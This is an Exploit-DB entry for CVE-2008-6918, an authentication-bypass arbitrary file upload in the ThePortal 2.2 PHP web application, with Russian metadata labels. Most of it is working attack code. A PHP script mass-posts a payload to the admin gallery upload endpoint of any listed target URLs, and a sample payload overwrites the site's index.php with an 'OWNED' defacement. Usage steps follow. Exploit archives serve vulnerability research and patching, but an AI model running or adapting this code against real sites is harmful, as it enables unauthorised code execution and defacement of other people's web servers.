Exploit ThePortal 2.2 - Arbitrary File Upload

[Exploiter]

EDB-ID

7620

Проверка EDB

1. Пройдено

Автор

SIUREK22

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2008-6918

Дата публикации

2008-12-29

[ web apps] theportal2 v2.2 (Auth bypass) file upload
--------------------
Author: siurek22
-------------------- 

You need curl to run it

--------------------
Code:
--------------------
upload.php


<?php
$file=$_POST['url'];
$fel=explode("\n", $file);




$ile=count($fel);
if(empty($file))
{
 echo'<br><br><br>
                                               <center>
                                               <form method="post">
                                               <textarea type="text" name="url" cols="50" rows="10">&lt;/textarea&gt;
                                               <input type="submit" value="OWNED">
                                               </form>
';
}
else{
for($i=0; $i<$ile;$i++)
{
$url=$fel[$i];
$url2=$url."/admin/galeria.php?akcja=dodaj_foto";
$url5=$url."/galeria/own.php";
                $c = curl_init();
                $postFields['adres'] = '@' . dirname(__FILE__) . '/own.php';
                $postFields['tytul'] = 'us';
                $postFields['opis'] = 'us';
                $postFields['kategoria'] = 1;
                $postFields['B1'] = 'dodaj';
                curl_setopt($c, CURLOPT_URL, $url2);
                curl_setopt($c, CURLOPT_POST, 1);
                curl_setopt($c, CURLOPT_POSTFIELDS, $postFields);
                curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
                $odpowiedz3=curl_exec($c);

                curl_close($c);
}
}              
?>

------------
 „own.php†with your code php
Example:

<?php
$text="<?php die(\"OWNED...\"); ?>";
$adres=$_SERVER['SCRIPT_FILENAME'];
$adres=str_replace("own.php","",$adres);
$adres=substr($adres,0, -8);
$adres=$adres."index.php";
$fp=fopen($adres,"w");
fwrite($fp, $text);
fclose($fp);

?>

Example:
1 Put upload.php and own.php at server
2 Go to url yourserver.com/upload.php and put to the textarea adres of website and Click OWNED
3 Now go to url your file target.com/galeria/own.php

# milw0rm.com [2008-12-29]